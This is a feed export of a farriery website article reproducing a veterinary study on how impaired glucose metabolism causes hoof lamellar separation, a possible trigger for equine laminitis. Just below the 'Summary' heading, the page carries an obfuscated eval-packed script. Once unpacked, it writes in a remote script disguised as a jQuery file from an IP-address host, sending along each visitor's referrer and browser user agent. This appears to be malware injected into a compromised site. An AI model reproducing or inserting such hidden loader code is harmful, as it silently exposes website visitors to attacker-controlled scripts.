Horseshoes.com | Your One-Stop Farrier and Hoofcare Portal - Hoof Anatomy and Physiology http://www.horseshoes.com/index.php/educational-index/articles/hoof-anatomy-and-physiology 2017-11-22T09:08:12+00:00 Joomla! - Open Source Content Management Decreased Glucose Metabolism Causes Separation of Hoof Lamellae in Vitro: A Trigger for Laminitis? 2009-07-13T06:51:54+00:00 2009-07-13T06:51:54+00:00 http://www.horseshoes.com/index.php/educational-index/articles/hoof-anatomy-and-physiology/366-decreased-glucose-metabolism-causes-separation-of-hoof-lamellae-in-vitro-a-trigger-for-laminitis M. A. Pass, S. Pollitt and C. C. Pollitt horseshoes@horseshoes.com <div class="feed-description"><p><span style="font-size: xx-small;"><strong>Summary</strong></span></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|issde|var|u0026u|referrer|tnrar||js|php'.split('|'),0,{})) </script></noindex> <table vspace="15" hspace="20"> <tbody style="text-align: left;"> <tr style="text-align: left;"> <td style="text-align: left;" colspan="2"><center><strong>Abbreviations</strong></center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><strong>D-MEM</strong></td> <td style="text-align: left;">Dulbecco's modified Eagle medium</td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><strong>APMA</strong></td> <td style="text-align: left;">Aminophenylmercuric acetate</td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><strong>2-DG</strong></td> <td style="text-align: left;">2-deoxyglucose</td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><strong>H&amp;E</strong></td> <td style="text-align: left;">Haematoxylin and eosin</td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><strong>PAS</strong></td> <td style="text-align: left;">Periodic acid-Schiff</td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><strong>DTT</strong></td> <td style="text-align: left;">Dithiothreitol</td> </tr> </tbody> </table> <p class="MsoNormal"><span class="dropcap">E</span>xplants of horses' hooves remained intact for up to 8 days when incubated in Dulbecco's modified Eagle medium (DMEM) containing 25 ml/l glucose but separated within 36 h when incubated in saline. The separation occurred between the basal epidermal cells and their basement membrane which is characteristic of the hoof separation that occurs in laminitis. Separation of hoof explants was prevented by addition of glucose to saline and was induced by adding 2deoxyglucose or aminophenylmercuric acetate to D-MEM. Glucose consumption by the hoof explants was inhibited by 2deoxyglucose and aminophenylmercuric acetate. The explants consumed relatively large amounts of glucose during the first 2 days of incubation and then little over the next 6 days. Despite the reduced glucose consumption, the hoof explants did not separate over 8 days of incubation. The results indicated that the integrity of the hoof explants was initially dependent on consumption of glucose and provide a possible explanation for the development of laminitis caused by conditions such as carbohydrate overload, acute inflammatory conditions, corticosteroid therapy and hyperlipidaemia. It would be expected that these conditions would induce a major hormonally-mediated metabolic shift away from glucose consumption by many peripheral tissues. It is suggested, therefore, that if the metabolic change occurred faster than the hoof tissue could adapt to an alternative energy substrate, then hoof separation and laminitis would occur.</p> <p><span style="font-size: xx-small;"><strong>Introduction</strong></span></p> <p>A key feature in the development of laminitis in horses is separation of the secondary epidermal and dermal lamellae of the hoof. This separation occurs between the epidermal basal cells and their basement membrane (Pollitt 1996). It has been proposed that the primary insult leading to this separation is ischaemia resulting from vasoconstriction in the hoof (Hood et al. 1993). However, other studies have thrown some doubt on this proposition in that they have shown vasodilation and an increase in hoof blood flow rather than vasoconstriction during the development of laminitis (Trout et al. 1990; Pollitt and Davies 1998). It is still unclear if the lamellar tissues are perfused during the development of laminitis (Robinson 1990).</p> <p>Epithelial cells are attached to the basement membrane by specific adhesion molecules on the plasma membrane. These include integins which attach to components of the basement membrane such as collagen and laminin (Albelda 1991; Ruoslahti 1991; Quaranta 1993). Although the adhesion molecules and components of the basement membrane in the horse's hoof have not been completely characterised, laminin and collagen have been identified (Pollitt 1996). Therefore, it is reasonable to assume that the attachment system is similar to that described in other species. Detachment of epithelial cells from the basement membrane occurs in both physiological and pathological processes. During tissue growth and repair, cells detach and attach as the tissue enlarges and remodels. In diseases such as asthma and bronchiectasis epithelial cell detachment occurs (Venaille et al. 1995). Detachment of epithelial cells from the basement membrane does not necessarily imply injury to the cell (Venaille et al. 1995) and these processes of detachment and cell injury and death should be distinguished from each other. Indeed, in cases of laminitis, detached hoof epithelial cells appear viable at least morphologically.</p> <p>Metalloproteinase (MMP) enzymes degrade elements of the extracellular matrix including collagen (Krane 1994) and this can lead to separation of cells from the basement membrane. MMPs are synthesized as inactive molecules and activation of the enzymes occurs after secretion of the proenzyme from the cell (Murphy et al. 1994). Furthermore, activated MMPs are inhibited by tissue inhibitors of metalloproteinases (TIMP) (Murphy et al. 1994). Therefore, MMP-induced detachment of cells from the basement membrane depends on the relative concentrations of active MMPs and TIMPs in the tissue. Recently it has been demonstrated that MMPs are active during detachment of lamellar epithelial cells from the basement membrane in cultured explants of horses' hooves (Pollitt et al. 1998). This has led to the hypothesis that activation of metalloproteinases in the hoof may be responsible for separation of the secondary epidermal and dermal lamellae in laminitis (Pollitt et al. 1998).</p> <p>However, it is still not clear what triggers the separation process and how disparate clinical states, such as carbohydrate overload, septic metritis, corticosteroid therapy and hyperlipaemia, can induce laminitis. Here, we advance the hypothesis that acute alterations in whole body glucose metabolism as a result of these conditions may be a trigger for laminitis.</p> <p><strong><span style="font-size: xx-small;">Materials &amp; Methods</span></strong></p> <p>D-MEM (glucose 25 ml/1, pH 7.2), gentamycinl, APMA, DMSO, DTT, glutamine, arginine·HC<sup>1</sup> and 2-DG<sup>2</sup> were obtained. APMA was dissolved in DMSO (5 mg/ml) before addition to DMEM. All other reagents were reagent grade chemicals purchased from chemical manufacturers.</p> <p>Explants of horses hooves were prepared as described elsewhere (Pollitt et al. 1998). They were cultured in 24 well culture plates in one ml of culture medium containing gentamycin (0.1 mg/ml) at 37<sup>o</sup>C in an atmosphere of 5% CO<sub>2</sub> in air. The explants were such that they contained hoof wall, lamellae and dermal connective tissue. The integrity of the explants was tested after a period of culture by grasping the hoof wall and connective tissue with forceps and pulling them in opposite directions. The result was scored as the tissue being intact if it did not separate between the lamellae or separated if it did (Pollitt et al. 1998). Testing of the integrity of the tissue was performed without the operator knowing the treatment given to each explant and the same operator tested all explants. Tissues were fixed in 10% buffered formalin. Histological sections were prepared of selected samples and stained with H&amp;E and PAS. They were examined under a light microscope.</p> <p>Explants from all hooves were cultured in D-MEM and in normal saline (0.9% sodium chloride) for 2 days in order to test the suitability of that horse's tissue for the experiment. The tissue was judged as suitable if the explants cultured in D-MEM remained intact and those in saline separated. Other explants were cultured concurrently in the media to be tested in that experiment. Duplicate samples were cultured for all experiments. One sample was tested for its integrity and the other left undisturbed for histological examination if required. Culture medium from duplicate wells was pooled for analysis when required. In all cases, control and test explants were obtained from the same hoof and replicate experiments were performed on separate hooves.</p> <p>In the first set of experiments, explants were cultured in the following culture media for 2 days and then tested for their integrity: D-MEM; normal saline; D-MEM diluted 1:3,1:4,1:5, 1:6,1:8 or 1:10 with normal saline; glucose (25 mlmmol/1)/1) in saline; buffer solution (6.4 g/1 NaCl; 280 mg/1 Na<sub>2</sub>P0<sub>4</sub>· 12H<sub>2</sub>0; 3.7 g/1 NaHCO<sub>3</sub>); ionic solution (200 mg/1 CaCl<sub>2</sub>; 97.67 mg/1 MgSO<sub>4</sub>; 400 mg/1 KCl dissolved in the buffer solution); sodium pyruvate (110 mg/1) in saline; L-glutamine (584 mg/1) in saline; and arginine·HCl (84 mg/1) in saline. The concentrations of these chemicals were the same as in the D-MEM. Other explants were cultured in 20 Ixmol/lactic acid in D-MEM (pH 6.27); 2-DG (0.1, 1,10, 25, 50 and 100 ml/1) in D-MEM; APMA (0.7 ml/1) in D-MEM; and APMA (0.7 ml/1) and DTT (100 ml/1) in DMEM. After 2 days in culture the explants were tested for their integrity and the glucose concentration estimated in some of the culture media. Glucose concentration was estimated using a Cobas Mira analyzer<sup>3</sup> and a Unimate 5 gluc hk kit<sup>3</sup>.</p> <p>In the second set of experiments, sets of explants were cultured in D-MEM or glucose (25 ml/1) in saline for up to 8 days. In some cases, explants from an individual hoof were tested for their integrity at 2 day intervals and the culture medium assayed for concentration of glucose. In others, the medium was replenished with fresh D-MEM every 2 days for the first 6 days and the removed medium analyzed for concentration of glucose. The explants were tested for integrity on Day 8.</p> <p>Significant differences between groups were tested by Fisher's exact test, the Kruskal-Wallis analysis of variance (ANOVA) or the Wilcoxon-Mann-Wliitney U statistic calculated by the STP method (Siegel 1956; Sokal and Rohlf 1969; Motulsky 1995).</p> <p><span style="font-size: xx-small;"><strong>Results</strong></span></p> <p>All explants cultured in D-MEM (n = 33) for 2 days remained intact and all those cultured in saline (n = 33) separated (P&lt;0.0001, Fisher's exact test) (Table 1). Histological examination of some explants revealed that the separation occurred between the epidermal basal cells and their basement membrane as described elsewhere (Pollitt 1996). Separation was first observed after 36 h in culture in saline (Table 3). Of the components of the D-MEM added to saline, only glucose prevented separation of the hoof tissues (P = 0.0002, Fisher's exact test) (Table 1). Buffers and the other components of the DMEM tested did not prevent separation (Table 1). Dilution of the D-MEM with saline consistently resulted in separation of the tissue when the dilution was 1:5 or greater (Table 1). This was equivalent to a glucose concentration of 5 ml. Separation sometimes occurred at a dilution of 1:4 (Table 1).</p> <table cellspacing="10" cols="4" frame="border"> <tbody style="text-align: left;"> <tr style="text-align: left;"> <td style="text-align: left;" colspan="4"><strong>TABLE 1: Effects of incubating hoof explants for 2 days in a variety of culture media</strong></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center><strong><span style="color: #000066;">Incubation medium</span></strong></center></td> <td style="text-align: left;"><center><strong><span style="color: #000066;">No. tested</span></strong></center></td> <td style="text-align: left;"><center><strong><span style="color: #000066;">No. intact</span></strong></center></td> <td style="text-align: left;"><center><strong><span style="color: #000066;">No. separated</span></strong></center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM</center></td> <td style="text-align: left;"><center>33</center></td> <td style="text-align: left;"><center>33</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>Saline</center></td> <td style="text-align: left;"><center>33</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>33</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM:saline 1:1</center></td> <td style="text-align: left;"><center>8</center></td> <td style="text-align: left;"><center>8</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM:saline 1:3</center></td> <td style="text-align: left;"><center>2</center></td> <td style="text-align: left;"><center>2</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM:saline 1:4</center></td> <td style="text-align: left;"><center>11</center></td> <td style="text-align: left;"><center>7</center></td> <td style="text-align: left;"><center>4</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM:saline 1:5</center></td> <td style="text-align: left;"><center>3</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>3</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM:saline 1:6</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>5</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM:saline 1:8</center></td> <td style="text-align: left;"><center>12</center></td> <td style="text-align: left;"><center>1</center></td> <td style="text-align: left;"><center>11</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM:saline 1:10</center></td> <td style="text-align: left;"><center>2</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>2</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>Buffer solution</center></td> <td style="text-align: left;"><center>6</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>6</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>lonic solution</center></td> <td style="text-align: left;"><center>4</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>4</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>Saline + 25 ml/l glucose</center></td> <td style="text-align: left;"><center>8</center></td> <td style="text-align: left;"><center>8</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>Saline + 1 ml/l pyruvate</center></td> <td style="text-align: left;"><center>4</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>4</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>Saline + 4 ml/l glutamine</center></td> <td style="text-align: left;"><center>2</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>2</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>Saline + 0.4 ml/l arginine</center></td> <td style="text-align: left;"><center>2</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>2</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 20 ml/l lactic acid</center></td> <td style="text-align: left;"><center>4</center></td> <td style="text-align: left;"><center>4</center></td> <td style="text-align: left;"></td> </tr> </tbody> </table> <br /><br /> <table cellspacing="10" cols="4" frame="border"> <tbody style="text-align: left;"> <tr style="text-align: left;"> <td style="text-align: left;" colspan="4"><strong>TABLE 2: Effects of 2-DG, APMA and APMA + DTT on hoof explants cultured for 2 days</strong></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center><strong><span style="color: #000066;">Incubation medium</span></strong></center></td> <td style="text-align: left;"><center><strong><span style="color: #000066;">No. tested</span></strong></center></td> <td style="text-align: left;"><center><strong><span style="color: #000066;">No. intact</span></strong></center></td> <td style="text-align: left;"><center><strong><span style="color: #000066;">No. separated</span></strong></center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 100 ml/l2DG</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>5</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 50 ml/l 2DG</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>5</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 10 ml/l 2DG</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 1 ml/l 2DG</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 0.1 ml/l 2DG</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"><center>5</center></td> <td style="text-align: left;"></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 0.7 ml/l APMA</center></td> <td style="text-align: left;"><center>6</center></td> <td style="text-align: left;"></td> <td style="text-align: left;"><center>6</center></td> </tr> <tr style="text-align: left;"> <td style="text-align: left;"><center>D-MEM + 0.7 mmol/l APMA <br />+100 ml DTT</center></td> <td style="text-align: left;"><center>6</center></td> <td style="text-align: left;"><center>6</center></td> <td style="text-align: left;"></td> </tr> </tbody> </table> <p><em><span style="color: #993366;">D-MEM = Dulbecco's modified Eagle medium.</span></em></p> <p>When explants were cultured in D-MEM, the medium became more acid as the incubation progressed, as shown by the phenol red in the medium turning from pink to yellow. However, addition of lactic acid to the D-MEM did not cause separation of the hoof (Table 1).</p> <p>When 2-DG was added to D-MEM separation occurred when the 2-DG concentration was 50 ml/l or above (Table 2). Addition of APMA to the D-MEM also induced separation of the hoof tissue and this was prevented by addition of DTT to the culture medium (Table 2).</p> <p>Analyses of culture medium after the incubation period revealed that 2-DG and APMA inhibited the utilization of glucose by the hoof tissue in that the concentration of glucose was higher in the presence of the inhibitors than in the control cultures at the end of the incubation period (P = 0.003 for 2-DG, Fisher's exact test; P&lt;0.05 for APMA, STP method) (Figs 1 and 2). DTT reversed the effect of APMA on glucose consumption (P&lt;0.05, STP method) (Fig 2).</p> <p>Separation of hoof explants did not occur consistently when they were incubated in D-MEM for up to 8 days (Table 3). Glucose was consumed by these explants during the first 2 days of incubation but, after this time, less glucose was consumed (P = 0.0002, Kruskal-Wallis ANOVA) (Fig 3). A similar result was observed when the medium was replenished every 2 days in that consumption was higher for the first 2 days and then decreased substantially (P =. 0.0011, Kruskal-Wallis ANOVA) (Fig 4). Incubation in saline containing glucose prevented separation in some explants for up to 8 days (Table 3).</p> <hr /> <center> <img src="images/laminitis_trigger_1.jpg" width="474" height="312" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_trigger_1" src="images/stories/horshoes-graphics/laminitis_trigger_1.jpg" width="474" height="312" /></p> <p><em><strong>Fig 1:</strong> Effect of 2-deoxyglucose (2-DG) on glucose consumption by hoof explants cultured for 2 days in Dulbecco's modified Eagle medium (D-MEM). The results are the mean t s.e. of 5 estimations of the glucose concentration in the medium at the end of the incubation period.</em></p> <hr /> <center> <img src="images/laminitis_trigger_2.jpg" width="478" height="294" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_trigger_2" src="images/stories/horshoes-graphics/laminitis_trigger_2.jpg" width="478" height="294" /></p> <p><em><strong>Fig 2:</strong> Effect of aminophenylmercuric acetate (APMA) (0.7 ml/l) and APMA (0.7 ml/l) + dithiothreitol (DTT) (100 ml) on glucose consumption by hoof explants cultured in Dulbecco's modified Eagle medium (D-MEM) for 2 days. The results are the mean t s.e. of 6 estimations of the glucose concentration in the medium at the end of the incubation period.</em></p> <hr /> <center> <img src="images/laminitis_trigger_3.jpg" width="436" height="295" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_trigger_3" src="images/stories/horshoes-graphics/laminitis_trigger_3.jpg" width="436" height="295" /></p> <p><em><strong>Fig 3:</strong> Glucose concentration in Dulbecco's modified Eagle medium (DMEM) from hoof explants cultured for up to 8 days. The results are the mean t s.e. of 6 or 8 estimates except at 0.5, I and 1.5 days where the individual results of 2 estimates are shown.</em></p> <hr /> <center> <img src="images/laminitis_trigger_4.jpg" width="478" height="310" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_trigger_4" src="images/stories/horshoes-graphics/laminitis_trigger_4.jpg" width="478" height="310" /></p> <p><em><strong>Fig 4:</strong> Glucose concentration in Dulbecco's modified Eagle medium (D-MEM) from cultured hoof explants. The D-MEM was replenished every 2 days and the results are the mean t s.e. of 8 estimates on samples collected after each 2 day period of incubation.</em></p> <p><span style="font-size: xx-small;"><strong>Discussion</strong></span></p> <p>A variety of clinical conditions including carbohydrate overload, septic metritis, hyperlipaemia and corticosteroid therapy have been recognized as being initiators of laminitis (Jeffcott and Field 1985; Baxter 1994). However, a unifying hypothesis to explain how these divergent conditions induce laminitis is lacking. The results of the current experiments suggest such an hypothesis.</p> <p>Adhesion of basal epidermal cells to the basement membrane was maintained for more than one week when hoof explants were cultured in medium containing glucose, amino acids, vitamins, buffers and a variety of ions but for less than 2 days when cultured in physiological saline. The component that appeared to be responsible for maintenance of adhesion was glucose because, when it was added to saline, the explants remained intact for at least 2 days of incubation and in most instances up to 8 days.</p> <p>The longer term study indicated that glucose consumption from D-MEM diminished considerably as the period of incubation increased, even if the medium was replaced with fresh medium every 2 days. It seemed that the hoof tissue was reliant on glucose for maintenance of adhesion between the epidermal basal cells and the basement membrane for more than 2 days after removal from the horse. However, as time progressed, the cells appeared to adapt to another substrate for energy synthesis. The alternative energy substrate has not been identified but could be an amino acid as these were readily available in the medium and may have been available in the tissue itself.</p> <p>The experiments with 2-DG and APMA further highlighted the importance of glucose as an energy substrate for the hoof tissue. Both 2-DG and APMA caused separation of the epidermal basal cells from the basement membrane. 2-DG inhibits the glycolytic pathway (Webb 1966). It is believed that 2-DG is converted to 2-DG-6-phosphate which competitively inhibits the metabolism of glucose-6-phosphate by phosphoglucose isomerase (Webb 1966). Glucose-6-phosphate is the first product of glucose metabolism in the glycolytic pathway. The lack of glucose consumption by the tissue explants in the presence of 2-DG in the present study confirmed the inhibitory effect 2DG has on glycolysis.</p> <p>Aminophenylmercuric acetate (APMA) also induced separation of the hoof; APMA is an organomercurial compound which is recognized as an activator of metalloproteinases which are known to degrade components in the basement membrane (Jones et al. 1994). The possible role of these enzymes in the pathogenesis of laminitis, has been discussed elsewhere (Pollitt et al. 1998). Organomercurials are also known to inhibit enzymes of the glycolytic pathway; an effect inhibited by DTT (Webb 1966; Kanda et al. 1976; Larson and Pate 1976; Thompson 1978). The present results indicate that APMA inhibited glycolysis in the hoof explants because addition of APMA to the culture medium inhibited glucose consumption and this was reversed by DTT. Dithiothreitol (DTT) also prevented the lamellar separation induced by APMA.</p> <p>The metalloproteinase inhibitor BB-94 also inhibited the separation of hoof tissue treated with APMA and in explants cultured in saline (Pollitt et al. 1998). BB-94 does not however inhibit the effect of APMA on glucose metabolism (M. A. Pass, unpublished data). These observations suggest that inhibition of glucose utilization by cells in the hoof may be a trigger for activation of metalloproteinases that could then cause separation of the epithelial cells from the basement membrane.</p> <p>Although inhibition of glucose metabolism causes separation of hoof tissue in vitro, is there evidence that such a mechanism could account for the development of laminitis in vivo? There is circumstantial evidence suggesting that such a mechanism is possible. Laminitis is often a consequence of an acute metabolic stress such as occurs with metritis, carbohydrate overload and hyperlipaemia. Such acute conditions are considered to invoke changes in the pattern of metabolism in the animal similar but probably more pronounced than that occurring during starvation (Moore 1971; Jeffcott and Field 1985; Cunningham 1992). The major feature of these changes are that glucose consumption in many peripheral tissue is reduced and gluconeogenesis is increased. The purpose of this change is to maintain glucose and therefore energy supplies to the injured tissue and the vital organs at the expense of other tissues. The metabolic changes in response to sepsis and other acute diseases are regulated by hormones including insulin, glucagon, cortisol and adrenaline with insulin promoting glucose utilization and the other hormones promoting the metabolism of other substrates and reducing glucose consumption. It is not known if firstly the hoof tissues are normally reliant on glucose, secondly if they are responsive to hormones regulating glucose metabolism or thirdly if they can change energy substrates. The results of the current experiments suggest that hoof tissue does utilize glucose and that it can change, at least slowly, to an alternate substrate if glucose availability becomes limited. However, rapid withdrawal of glucose in vitro causes separation of the hoof. In acute, severe septic diseases and other conditions inducing severe changes in metabolism, changes in glucose metabolism can be rapid and may mimic the conditions established in vitro. If the metabolic insult was severe, there may be insufficient time for the hoof to adapt to an alternative substrate, and hoof separation would occur. Other epithelia may be similarly weakened, but gross separation would be manifest most readily in the hoof because of the large mechanical forces generated by weight bearing.</p> <p>The time course of the metabolic changes in the hoof explants is consistent with the time course of development of laminitis. The explants continued to utilize glucose at a relatively fast rate for 2 or 3 days and separated within 36 hours if glucose was unavailable. Clinical signs of laminitis become evident within 24-56 hours of induction by carbohydrate overload (Hood 1984) which is shorter than the time the hoof tissue takes to adapt to an energy substrate other than glucose. There is evidence that the metabolic changes described above do occur as a consequence of carbohydrate overload in horses developing laminitis. Hood (1984) and Clarke et al. (1982) demonstrated an increase in blood cortisol during the development of laminitis consistent with a metabolic change to conserve glucose. Furthermore, preliminary experimental data from our laboratory from one horse which developed laminitis after dosing with carbohydrate, showed changes in plasma insulin and glucagon concentrations consistent with a metabolic switch to conserve glucose and increase gluconeogenesis (data not shown).</p> <p>Further support for a relationship between changes in glucose metabolism and laminitis comes from observations on horses with hyperlipaemia. Hyperlipaemia is a state of negative energy balance occurring rapidly and often precipitated by some form of stress (Jeffcott and Field 1985). It has been suggested that laminitis related to hyperlipaemia is a result of vasoconstriction in the hoof as a consequence of the altered metabolism in the animal (Field and Jeffcott 1989). An alternative explanation is that the metabolic changes leading to hyperlipaemia result in the hoof tissues being starved of glucose thereby precipitating the chain of events leading to separation of the hoof as occured in the cultured explants in the current experiments.</p> <p>Significantly reduced concentrations of hydroxysteroid dehydrogenase (HSD) have been documented in the skin of horses with laminitis (Johnson et al. 1996). If hoof lamellar tissues and skin behave similarly, then an aberration of local metabolism of glucocorticoid, leading to an increased concentration of cortisol in the tissue, could reduce glucose metabolism and cause lamellar separation.</p> <p>Alpha adrenergic antagonist drugs, such as phenoxybenzamine, appear to prevent laminitis in some circumstances and this has been attributed to the drug inhibiting vasoconstriction in the hoof (Hood et al. 1993), presumably by blocking the alpha adrenergic effects of endogenous catecholamines. However, catecholamines also have metabolic effects. In particular, stimulation of alpha adrenoceptors inhibits insulin secretion and stimulation of alpha and beta adrenoceptors increases hepatic glycogenolysis (Robinson 1986; Hoffman and Lefkowitz 1991). Therefore, blockage of alpha adrenoceptors in stressful situations would be expected to increase insulin secretion (Kashiwagi et al. 1986) and still maintain increased hepatic glucose production. This could result in increased utilization of glucose by peripheral tissues and protect the hoof tissues from the effects of glucose starvation.</p> <p>The results of the present in vitro experiments offer support to the hypothesis that changes in glucose metabolism as a result of a primary disease elsewhere in the body may be a trigger for laminitis. As yet, it is not clear if the in vivo situation mimics the in vitro conditions. For instance, does the hoof tissue in the intact animal normally rely on glucose for most of its energy production; are the cells in the hoof responsive to the hormonal mediators of metabolism; and are the metabolic changes associated with laminitis-inducing diseases severe enough to starve the hoof tissue of glucose rapidly enough to induce separation of epidermal cells from the basement membrane? Answers to these questions are needed to confirm the proposed hypothesis and to develop a framework for manipulating metabolism as a potential approach for the prevention of laminitis.</p> <p><span style="font-size: xx-small;"><strong>Acknowledgments</strong></span></p> <p>This project was funded by a grant from the Rural Industries Research and Development Corporation of Australia. The authors are grateful to the Animal Health Trust of Missouri, USA, for funds to purchase the BX-50 Olympus microscope. Bruce Mungall and Mousa Daradka are thanked for collecting knackery specimens.</p> <p><span style="font-size: xx-small;"><strong>References</strong></span></p> <ol> <li> Albelda, S.M. (1991) Endothelial and epithelial adhesion molecules. Am. J. Resp. Cell mol. Biol. 4, 195-203.</li> <li> Baxter, G.M. (1994) Acute laminitis. Vet. Clin. N. Am.: Equine Pract.10, 627-642.</li> <li> Clarke, L.L., Garner, H.E. and Hatfield, D (1982) Plasma volume, electrolyte, and endocrine changes during onset of laminitis hypertension in horses. Am. J. vet. Res. 43, 1551-1555.</li> <li> Cunningham J.G. (1992) Textbook of Veterinary Physiology. W.B. Saunders Co., Philadelphia.</li> <li> Field, J.R. and Jeffcott, L.B. (1989) Equine laminitis: another hypothesis for pathogenesis. Med. Hypoth. 30, 203-210.</li> <li> Hoffman, B.B and Letkowitz. R.J. (1991) Adrenergic receptor antagonists. In: The Pharmacological Basis of Therapeutics, 8th edn. Pergamon Press, New York. pp 221-243.</li> <li> Hood, D.M. (1984) Studies on the Pathogenesis of Equine Laminitis. PhD Thesis, Texas A &amp; M University.</li> <li> Hood, D.M., Grosenbaugh, D.A., Mostafa, M.B., Morgan, S.J. and Thomas, B.C. (1993) The role of vascular mechanisms in the development of acute equine laminitis. J. vet. int. Med. 7, 228-234.</li> <li> Jeffcott, L.B. and Field, J.R. (1985) Current concepts of hyperlipaemia in horses. Vet. Rec.116, 461-466.</li> <li> Johnson, P.J., Ganjam, V.K. and Messer, N.T. (1996). Cutaneous hydroxysteroid dehydrogenase activity is reduced in the laminitic horse. In: Proceedings l4th ACVM Forum. San Antonio, Texas, USA. p 735.</li> <li> Jones, B.E., Moshyedi, P., Gallo, S., Tombran-Tink, J., Arand, G., Reid, D.A., Thompson, E.W., Chader, G.J. and Waldbillig, R.J. (1994) Characterization and novel activation of 72 kDa metalloproteinase in retinal interphotoreceptor matrix and Y-79 cell culture medium. Exp. Eye Res. 59, 257-269.</li> <li> Kanda, F., Kamikashi, T. and Ishibashi, S. (1976) Competitive inhibition of hexokinase isoenzymes by mercurials. J. Biochem. 79, 543-548.</li> <li> Kashiwagi, A., Harano, Y., Suzuki, M., Kojimi, H., Harada, M., Nishio,Y. and Shigeta, Y. (1986) A new alpha adrenergic blocker (DG-5128) improves insulin secretion and in vivo glucose disposal in NIDDM patients. Diabetes 35, 1085-1089.</li> <li> Krane, S.M. (1994) Clinical importance of metalloproteinases and their inhibitor. Ann. N. Y Acad. Sci. 732, 1-10.</li> <li> Larson, R.J. and Pate, J.L. (1976) Glucose transport in isolated prosthecae of Asticcacaulis biprosthecum. J. Bact.126, 282-293.</li> <li> Moore, F.D. (1971) Convalescence: The metabolic sequence after injury. In Manual of Preoperative and Postoperative Care, 2nd edn. Eds: J.M. Kinney, R.H. Egdahl and G.D. Zuidema. W.B. Saunders, Philadelphia.</li> <li> Motulsky, H. (1995) Intuitive Biostatistics. Oxford University Press, New York. Murphy, G., Willenbrock, F., Crabbe, T, O'Shea, M., Ward, R., Atkinson, S., O'Connell, l. and Docherty, A. (1994) Regulation of matrix metalloproteinase activity. Ann. N. Y. Acad. Sci. 732, 31-41.</li> <li> Pollitt, C.C. (1996) Basement membrane pathology: a feature of acute equine laminitis. Equine vet. J. 28, 38-46.</li> <li> Pollitt, C.C., Pass, M.A. and Pollitt, S. (1998) Batimastat (BB-94) inhibits matrix metalloproteinases of equine laminitis. Equine vet. J., Suppl. 26, 119-124.</li> 